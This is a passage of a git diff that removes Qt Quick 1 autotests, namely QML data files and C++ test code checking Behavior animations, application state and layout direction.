tst_qdeclarativeapplication::active() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Item { property bool active: Qt.application.active }", QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - QGraphicsScene scene; - QGraphicsView view(&scene); - scene.addItem(item); - - // not active - QVERIFY(!item->property("active").toBool()); - QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); - - // active - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); - - // not active again - // on mac, setActiveWindow(0) on mac does not deactivate the current application - // (you have to switch to a different app or hide the current app to trigger this) -#if !defined(Q_WS_MAC) - QApplication::setActiveWindow(0); - QVERIFY(!item->property("active").toBool()); - QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); -#endif -} - -void tst_qdeclarativeapplication::layoutDirection() -{ - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Item { property bool layoutDirection: Qt.application.layoutDirection }", QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - QGraphicsScene scene; - QGraphicsView view(&scene); - scene.addItem(item); - - // not mirrored - QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight); - - // mirrored - QApplication::setLayoutDirection(Qt::RightToLeft); - QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::RightToLeft); - - // not mirrored again - QApplication::setLayoutDirection(Qt::LeftToRight); - QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight); -} - -QTEST_MAIN(tst_qdeclarativeapplication) - -#include "tst_qdeclarativeapplication.moc" diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/binding.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/binding.qml deleted file mode 100644 index a452447f31..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/binding.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - property real basex : 0 - property real movedx: 200 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - x: basex - Behavior on x { NumberAnimation { duration: 800; } } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: movedx - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/color.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/color.qml deleted file mode 100644 index c4b783a0f0..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/color.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; - color: "green" - Behavior on color { ColorAnimation { duration: 500; } } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "red" - when: clicker.pressed - PropertyChanges { - target: rect - color: "red" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/cpptrigger.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/cpptrigger.qml deleted file mode 100644 index 88ddfaa1a7..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/cpptrigger.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { NumberAnimation { duration: 500; } } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/delayedRegistration.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/delayedRegistration.qml deleted file mode 100644 index aa384c335f..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/delayedRegistration.qml +++ /dev/null @@ -1,25 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container - - width: 400; height: 400; - property Item myItem - - function doCreate() { - myItem = myComponent.createObject(container) - myItem.x = 100 - } - - Component { - id: myComponent - Rectangle { - width: 100 - height: 100 - color: "green" - Behavior on x { NumberAnimation { duration: 500 } } - } - } - - Component.onCompleted: doCreate() -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/disabled.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/disabled.qml deleted file mode 100644 index f6cfa5e33d..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/disabled.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { - objectName: "MyBehavior"; - enabled: false - NumberAnimation { duration: 200; } - } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: 200 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/dontStart.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/dontStart.qml deleted file mode 100644 index e318dd2567..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/dontStart.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 600 - height: 400 - - Rectangle { - id: redRect - width: 100; height: 100 - color: Qt.rgba(1,0,0) - Behavior on x { - NumberAnimation {id: myAnim; objectName: "MyAnim"; running: true } - } - - } - -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/empty.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/empty.qml deleted file mode 100644 index 6c78a84540..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/empty.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x {} - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: 200 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/explicit.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/explicit.qml deleted file mode 100644 index 3baa1ac23a..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/explicit.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { - objectName: "MyBehavior"; - NumberAnimation { target: rect; property: "x"; duration: 500; } - } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: 200 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/groupProperty.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/groupProperty.qml deleted file mode 100644 index ddb5bbd40c..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/groupProperty.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on pos { PropertyAnimation { duration: 500; } } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - pos: Qt.point(200,0); - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/groupProperty2.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/groupProperty2.qml deleted file mode 100644 index c0b71cdb04..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/groupProperty2.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on pos.x { NumberAnimation { duration: 500; } } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - pos.x: 200; - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/groupedPropertyCrash.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/groupedPropertyCrash.qml deleted file mode 100644 index 8aa590bca1..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/groupedPropertyCrash.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - Text { - Behavior on anchors.verticalCenterOffset { NumberAnimation { duration: 300; } } - text: "Hello World" - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/loop.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/loop.qml deleted file mode 100644 index 76379c00a2..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/loop.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { NumberAnimation { duration: 200; } } - onXChanged: x = 100; - } - states: State { - name: "moved" - PropertyChanges { - target: rect - x: 200 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/nonSelecting2.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/nonSelecting2.qml deleted file mode 100644 index c5c78d1aa2..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/nonSelecting2.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { - objectName: "MyBehavior"; - NumberAnimation { targets: rect; properties: "y"; duration: 200; } - } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: 200 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/parent.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/parent.qml deleted file mode 100644 index d19da298b2..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/parent.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on parent { - SequentialAnimation { - PauseAnimation { duration: 500 } - PropertyAction {} - } - } - } - Item { - id: newParent - objectName: "NewParent" - x: 100 - } - states: State { - name: "reparented" - PropertyChanges { - target: rect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/qtbug12295.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/qtbug12295.qml deleted file mode 100644 index 03b542164b..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/qtbug12295.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Rectangle { - id: myRect - objectName: "myRect" - width: 100 - height: 100 - Behavior on x { - NumberAnimation { duration: 500 } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/reassignedAnimation.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/reassignedAnimation.qml deleted file mode 100644 index 56ac216c5a..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/reassignedAnimation.qml +++ /dev/null @@ -1,32 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { - id: myBehavior - objectName: "MyBehavior" - NumberAnimation {id: na1; duration: 200 } - } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: 200 - } - } - - NumberAnimation {id: na2; duration: 1000 } - Component.onCompleted: { - myBehavior.animation = na2; - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/runningTrue.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/runningTrue.qml deleted file mode 100644 index 25cdf10acf..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/runningTrue.qml +++ /dev/null @@ -1,20 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - width:200; height:200 - - property real myValue: 0 - - Rectangle { - anchors.centerIn: parent - width: 100 - height: 100 - color: "green" - smooth: true - rotation: myValue - Behavior on rotation { - RotationAnimation { id: rotAnim; objectName: "rotAnim"; direction: RotationAnimation.Shortest } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/scripttrigger.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/scripttrigger.qml deleted file mode 100644 index c05cdaa940..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/scripttrigger.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - - onColorChanged: { - rect.x = 200 - } - - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { NumberAnimation { duration: 800; } } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/simple.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/simple.qml deleted file mode 100644 index 6ba0118660..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/simple.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - width: 100; height: 100; color: "green" - Behavior on x { - objectName: "MyBehavior"; - NumberAnimation {id: na; duration: 500; } - } - } - MouseArea { - id: clicker - anchors.fill: parent - } - states: State { - name: "moved" - when: clicker.pressed - PropertyChanges { - target: rect - x: 200 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/startup.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/startup.qml deleted file mode 100644 index fca416c08c..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/startup.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - objectName: "innerRect" - height: 100; width: 100; color: "green" - property real targetX: 100 - - x: targetX - Behavior on x { - NumberAnimation {} - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/data/startup2.qml b/tests/auto/qtquick1/qdeclarativebehaviors/data/startup2.qml deleted file mode 100644 index eb627613d4..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/data/startup2.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 800; - height: 480; - - Text { id:theText; text: "hello world" } - - Rectangle { - objectName: "innerRect" - color: "red" - x: theText.width - Behavior on x { NumberAnimation {} } - width: 100; height: 100 - } -} diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/qdeclarativebehaviors.pro b/tests/auto/qtquick1/qdeclarativebehaviors/qdeclarativebehaviors.pro deleted file mode 100644 index 76a89eb0eb..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/qdeclarativebehaviors.pro +++ /dev/null @@ -1,10 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativebehaviors -SOURCES += tst_qdeclarativebehaviors.cpp -macx:CONFIG -= app_bundle - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test insignificant_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp b/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp deleted file mode 100644 index fab364ac78..0000000000 --- a/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp +++ /dev/null @@ -1,429 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativebehaviors : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativebehaviors() {} - -private slots: - void simpleBehavior(); - void scriptTriggered(); - void cppTriggered(); - void loop(); - void colorBehavior(); - void parentBehavior(); - void replaceBinding(); - //void transitionOverrides(); - void group(); - void emptyBehavior(); - void explicitSelection(); - void nonSelectingBehavior(); - void reassignedAnimation(); - void disabled(); - void dontStart(); - void startup(); - void groupedPropertyCrash(); - void runningTrue(); - void sameValue(); - void delayedRegistration(); -}; - -void tst_qdeclarativebehaviors::simpleBehavior() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/simple.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - QTRY_VERIFY(qobject_cast(rect->findChild("MyBehavior"))->animation()); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() > 0); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() < 200); - //i.e. the behavior has been triggered - - delete rect; -} - -void tst_qdeclarativebehaviors::scriptTriggered() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/scripttrigger.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - rect->setColor(QColor("red")); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() > 0); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() < 200); - //i.e. the behavior has been triggered - - delete rect; -} - -void tst_qdeclarativebehaviors::cppTriggered() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/cpptrigger.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QTRY_VERIFY(innerRect); - - innerRect->setProperty("x", 200); - QTRY_VERIFY(innerRect->x() > 0); - QTRY_VERIFY(innerRect->x() < 200); //i.e. the behavior has been triggered - - delete rect; -} - -void tst_qdeclarativebehaviors::loop() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/loop.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - //don't crash - QDeclarativeItemPrivate::get(rect)->setState("moved"); - - delete rect; -} - -void tst_qdeclarativebehaviors::colorBehavior() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/color.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("red"); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->color() != QColor("red")); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->color() != QColor("green")); - //i.e. the behavior has been triggered - - delete rect; -} - -void tst_qdeclarativebehaviors::parentBehavior() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/parent.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("reparented"); - QTRY_VERIFY(rect->findChild("MyRect")->parentItem() != rect->findChild("NewParent")); - QTRY_VERIFY(rect->findChild("MyRect")->parentItem() == rect->findChild("NewParent")); - - delete rect; -} - -void tst_qdeclarativebehaviors::replaceBinding() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/binding.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QTRY_VERIFY(innerRect); - QTRY_VERIFY(innerRect->x() > 0); - QTRY_VERIFY(innerRect->x() < 200); - //i.e. the behavior has been triggered - QTRY_COMPARE(innerRect->x(), (qreal)200); - rect->setProperty("basex", 10); - QTRY_COMPARE(innerRect->x(), (qreal)200); - rect->setProperty("movedx", 210); - QTRY_COMPARE(innerRect->x(), (qreal)210); - - QDeclarativeItemPrivate::get(rect)->setState(""); - QTRY_VERIFY(innerRect->x() > 10); - QTRY_VERIFY(innerRect->x() < 210); //i.e. the behavior has been triggered - QTRY_COMPARE(innerRect->x(), (qreal)10); - rect->setProperty("movedx", 200); - QTRY_COMPARE(innerRect->x(), (qreal)10); - rect->setProperty("basex", 20); - QTRY_COMPARE(innerRect->x(), (qreal)20); - - delete rect; -} - -void tst_qdeclarativebehaviors::group() -{ - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/groupProperty.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - //QTest::qWait(200); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() > 0); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() < 200); - //i.e. the behavior has been triggered - - delete rect; - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/groupProperty2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QTRY_VERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() > 0); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() < 200); - //i.e. the behavior has been triggered - - delete rect; - } -} - -void tst_qdeclarativebehaviors::emptyBehavior() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/empty.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - qreal x = qobject_cast(rect->findChild("MyRect"))->x(); - QCOMPARE(x, qreal(200)); //should change immediately - - delete rect; -} - -void tst_qdeclarativebehaviors::explicitSelection() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/explicit.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() > 0); - QTRY_VERIFY(qobject_cast(rect->findChild("MyRect"))->x() < 200); - //i.e. the behavior has been triggered - - delete rect; -} - -void tst_qdeclarativebehaviors::nonSelectingBehavior() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/nonSelecting2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - qreal x = qobject_cast(rect->findChild("MyRect"))->x(); - QCOMPARE(x, qreal(200)); //should change immediately - - delete rect; -} - -void tst_qdeclarativebehaviors::reassignedAnimation() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/reassignedAnimation.qml")); - QString warning = QUrl::fromLocalFile(SRCDIR "/data/reassignedAnimation.qml").toString() + ":9:9: QML Behavior: Cannot change the animation assigned to a Behavior."; - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - QCOMPARE(qobject_cast( - rect->findChild("MyBehavior")->animation())->duration(), 200); - - delete rect; -} - -void tst_qdeclarativebehaviors::disabled() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/disabled.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - QCOMPARE(rect->findChild("MyBehavior")->enabled(), false); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - qreal x = qobject_cast(rect->findChild("MyRect"))->x(); - QCOMPARE(x, qreal(200)); //should change immediately - - delete rect; -} - -void tst_qdeclarativebehaviors::dontStart() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontStart.qml")); - - QString warning = c.url().toString() + ":13:13: QML NumberAnimation: setRunning() cannot be used on non-root animation nodes."; - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *myAnim = rect->findChild("MyAnim"); - QVERIFY(myAnim && myAnim->qtAnimation()); - QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped); - - delete rect; -} - -void tst_qdeclarativebehaviors::startup() -{ - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/startup.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *innerRect = rect->findChild("innerRect"); - QVERIFY(innerRect); - - QCOMPARE(innerRect->x(), qreal(100)); //should be set immediately - - delete rect; - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/startup2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *innerRect = rect->findChild("innerRect"); - QVERIFY(innerRect); - - QDeclarative1Text *text = rect->findChild(); - QVERIFY(text); - - QCOMPARE(innerRect->x(), text->width()); //should be set immediately - - delete rect; - } -} - -//QTBUG-10799 -void tst_qdeclarativebehaviors::groupedPropertyCrash() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/groupedPropertyCrash.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); //don't crash -} - -//QTBUG-5491 -void tst_qdeclarativebehaviors::runningTrue() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/runningTrue.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *animation = rect->findChild("rotAnim"); - QVERIFY(animation); - - QSignalSpy runningSpy(animation, SIGNAL(runningChanged(bool))); - rect->setProperty("myValue", 180); - QTRY_VERIFY(runningSpy.count() > 0); -} - -//QTBUG-12295 -void tst_qdeclarativebehaviors::sameValue() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug12295.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *target = rect->findChild("myRect"); - QVERIFY(target); - - target->setX(100); - QCOMPARE(target->x(), qreal(100)); - - target->setProperty("x", 0); - QTRY_VERIFY(target->x() != qreal(0) && target->x() != qreal(100)); - QTRY_VERIFY(target->x() == qreal(0)); //make sure Behavior has finished. - - target->setX(100); - QCOMPARE(target->x(), qreal(100)); - - //this is the main point of the test -- the behavior needs to be triggered again - //even though we set 0 twice in a row. - target->setProperty("x", 0); - QTRY_VERIFY(target->x() != qreal(0) && target->x() != qreal(100)); -} - -//QTBUG-18362 -void tst_qdeclarativebehaviors::delayedRegistration() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/delayedRegistration.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QDeclarativeItem *innerRect = rect->property("myItem").value(); - QVERIFY(innerRect != 0); - - QCOMPARE(innerRect->property("x").toInt(), int(0)); - - QTRY_COMPARE(innerRect->property("x").toInt(), int(100)); -} - -QTEST_MAIN(tst_qdeclarativebehaviors) - -#include "tst_qdeclarativebehaviors.moc" diff --git a/tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml b/tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml deleted file mode 100644 index ba4c9f6f7c..0000000000 --- a/tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - 